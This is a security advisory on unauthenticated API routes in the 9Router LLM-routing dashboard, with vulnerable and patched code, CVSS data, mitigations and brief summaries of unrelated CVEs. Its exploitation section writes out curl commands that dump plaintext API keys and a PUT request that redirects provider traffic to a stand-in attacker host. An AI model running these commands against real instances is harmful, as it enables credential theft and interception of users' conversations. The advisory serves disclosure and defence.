Jul 7, 2026·5 min read·45 visits
Unauthenticated API endpoints in 9Router expose sensitive API keys, allow unauthorized configuration changes, and leak multi-turn conversation transcripts.
An access control deficiency in the 9Router dashboard allows unauthenticated remote attackers to perform full CRUD operations on integrated AI providers, extract plaintext API keys, and access complete system conversation histories.
9Router functions as an AI orchestration and routing middleware dashboard built on the Next.js framework. It acts as a central hub for forwarding user prompts to various large language model (LLM) providers like OpenAI, Anthropic, and GitHub Copilot based on availability, latency, or cost constraints.\n\nBecause 9Router is designed to manage high-value API credentials and record comprehensive chat history telemetry, securing its backend interface is critical. However, in versions prior to and including 0.4.41, multiple critical API routes exposed directly to the internet lacked any form of session validation or access control check.\n\nThis omission exposes the entire system state, allowing any remote client to interact with administrative APIs. This vulnerability is classified under CWE-306 (Missing Authentication for Critical Function), CWE-862 (Missing Authorization), and CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor).
The root cause of these access control failures lies in the design of the Next.js App Router handlers inside the 9Router dashboard codebase. In Next.js, API routes defined in files such as src/app/api/providers/route.ts are automatically compiled as publicly reachable endpoints unless developers explicitly implement intercepting logic.\n\nDuring development, no global authentication middleware was registered under middleware.ts to intercept requests targeting /api/providers or /api/usage. Consequently, these route files processed all incoming HTTP methods (GET, POST, PUT, DELETE) directly without querying session status or verifying bearer tokens.\n\nThe vulnerability in /api/usage/stats/route.ts originates from a secondary serialization failure. The query handler retrieves the raw records containing full third-party API key values to generate statistics. Instead of filtering the sensitive database outputs or masking credential fields before returning them to the caller, the route serializes the unmodified database objects directly into the JSON response structure.
To illustrate the structural differences, consider the pattern of a vulnerable Next.js Route Handler versus a secured alternative.\n\ntypescript\n// Vulnerable: src/app/api/providers/route.ts\nimport { NextResponse } from 'next/server';\nimport { prisma } from '@/lib/db';\n\n// GET handler returns all active provider configurations without credentials verification\nexport async function GET() {\n const providers = await prisma.provider.findMany();\n return NextResponse.json(providers);\n}\n\n// POST handler accepts and executes database writes from any remote client\nexport async function POST(request: Request) {\n const body = await request.json();\n const newProvider = await prisma.provider.create({ data: body });\n return NextResponse.json(newProvider, { status: 201 });\n}\n\n\ntypescript\n// Patched: Implementation utilizing robust session verification\nimport { NextResponse } from 'next/server';\nimport { prisma } from '@/lib/db';\nimport { getServerSession } from 'next-auth';\nimport { authOptions } from '@/lib/auth-options';\n\nexport async function GET() {\n const session = await getServerSession(authOptions);\n if (!session) {\n return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });\n }\n\n // Ensure keys are excluded from selection to prevent leaking credentials\n const providers = await prisma.provider.findMany({\n select: {\n id: true,\n name: true,\n baseUrl: true,\n // apiKey is explicitly omitted here\n }\n });\n return NextResponse.json(providers);\n}\n\n\nThis code comparison highlights that securing the application requires both verification of session context and careful data filtering to ensure secrets do not get serialized into public payloads.
Exploiting these unauthenticated endpoints is straightforward and requires only standard command-line tools. An attacker can construct a network flow model of the vulnerability as shown below:\n\nmermaid\ngraph LR\n Attacker["Unauthenticated Attacker"] -->|1. GET /api/usage/stats| VulnerableRoute["Next.js API Routes"]\n VulnerableRoute -->|2. Raw Query| Database["Database (Prisma)"]\n Database -->|3. Unmasked Credentials| VulnerableRoute\n VulnerableRoute -->|4. Cleartext API Keys| Attacker\n\n\nInitially, the attacker audits the host's /api/providers endpoint to enumerate configured AI integrations. This request yields a JSON document with active system parameters, including resource identifiers and the layout of the deployed AI infrastructure.\n\nbash\ncurl -s https://vulnerable-instance.local/api/providers\n\n\nTo extract active credentials, the attacker queries /api/usage/stats. Because the server does not filter the returned datasets, the payload includes unmasked authorization tokens for systems like OpenAI or Anthropic.\n\nbash\ncurl -s https://vulnerable-instance.local/api/usage/stats\n\n\nFinally, an attacker can hijack the prompt routing mechanism itself by sending a PUT or POST payload to change the target API endpoint URL. By pointing a provider's database record to a malicious server, the attacker intercepts all subsequent downstream chat requests containing proprietary data or system instructions.\n\nbash\ncurl -X PUT https://vulnerable-instance.local/api/providers/target-id \\\n -H "Content-Type: application/json" \\\n -d '{"name":"hijacked-connection","apiKey":"sk-attacker-key","baseUrl":"https://attacker-intercept.com/v1"}'\n
The architectural position of 9Router amplifies the consequences of this vulnerability. An attacker obtaining full CRUD operations over providers can manipulate where user queries are routed. This enables prompt interception, where proprietary algorithms, corporate source code, or internal business queries sent to the AI are logged by an attacker-controlled endpoint.\n\nFurthermore, the leakage of plaintext keys represents an immediate financial risk. Valid API keys for services like Anthropic Claude or OpenAI GPT-4 can be used to run automated scripts or host secondary applications at the victim's expense, incurring substantial billing charges.\n\nFinally, the exposure of /api/usage/request-logs and detailed trace endpoints exposes full multi-turn conversation payloads. This compromises user confidentiality on a systemic scale, revealing sensitive internal discussions, administrative inquiries, and telemetry details.
Mitigation requires immediate code updates and credential remediation. Administrators must upgrade 9Router installations to a patched version such as 0.4.45. This version implements authentication checks on critical administrative routes.\n\nBecause credentials were leaked in plaintext, all API keys registered in the dashboard before patching must be considered compromised. Operators must immediately rotate every OpenAI, Anthropic, and secondary service credential associated with the platform to terminate active unauthorized access sessions.\n\nTo secure self-deployed instances directly, configure a Next.js middleware.ts file to block requests lacking valid session tokens. This global handler should reject calls targeting administrative routes with an HTTP 401 response before database execution occurs.\n\ntypescript\n// Example middleware.ts entry point\nimport { NextResponse } from 'next/server';\nimport type { NextRequest } from 'next/server';\n\nexport function middleware(request: NextRequest) {\n const token = request.cookies.get('next-auth.session-token') || request.headers.get('Authorization');\n if (!token && (request.nextUrl.pathname.startsWith('/api/providers') || request.nextUrl.pathname.startsWith('/api/usage'))) {\n return NextResponse.json({ error: 'Authentication Required' }, { status: 401 });\n }\n return NextResponse.next();\n}\n
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
9router decolua | <= 0.4.41 | 0.4.45 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-306, CWE-200, CWE-862 |
| Attack Vector | Network |
| CVSS Score | 10.0 |
| Impact | Total Access Control Bypass, Credential Harvest, Traffic Hijacking |
| Exploit Status | Proof of Concept available |
The application does not perform any authentication checks for critical functionality, allowing unauthorized access to restricted endpoints.
Grav CMS prior to version 1.7.53 and 2.0.0-rc.8 is vulnerable to an unauthenticated remote denial of service (DoS) vulnerability. By supplying crafted query parameters with extremely large dimensions to image assets, remote unauthenticated attackers can force the server to allocate massive amounts of system memory, leading to kernel Out-Of-Memory (OOM) termination of web worker processes.
CVE-2026-53657 is a local privilege escalation vulnerability in Lima (lima-vm/lima) affecting versions prior to 2.1.3 when configured with the QEMU driver. The guest agent daemon, running as root, creates its communication socket `/run/lima-guestagent.sock` with world-writable permissions (0777). This allows unprivileged local users to command the agent to establish arbitrary tunnels, including to privileged local UNIX sockets (like D-Bus). Because the target daemon authenticates the incoming connection using the credentials of the root-owned guest agent (via SO_PEERCRED), unprivileged users can perform root operations, resulting in complete guest VM compromise.
An unauthenticated Denial of Service vulnerability exists in the s2n-quic library's CryptoStream reassembler due to a lack of buffer limits on out-of-order cryptographic frames. An attacker can transmit a crafted CRYPTO frame with an extremely high offset and nominal payload, forcing the receiver to execute unbounded memory allocations and causing service crashes.
A JNDI Injection and Deserialization Gadget vulnerability exists in mchange-commons-java prior to version 0.6.0. The com.mchange.v2.naming.JavaBeanObjectFactory component permits arbitrary class instantiation and setter invocation, allowing attackers to perform Server-Side Request Forgery (SSRF) and remote class loading.
SurrealDB versions supporting element-level SELECT permissions on arrays are vulnerable to a logical authorization bypass. Due to an index-shifting error during array filtration, restricted elements can skip permission checks and leak to unauthorized record users.
CVE-2026-12243 is a path traversal vulnerability in the Natural Language Toolkit (NLTK) version 3.9.4. The flaw exists because the input validation routine fails to account for percent-encoded directory traversal sequences like '..%2f' before passing them to urllib.request.url2pathname(), which decodes them into active traversal sequences.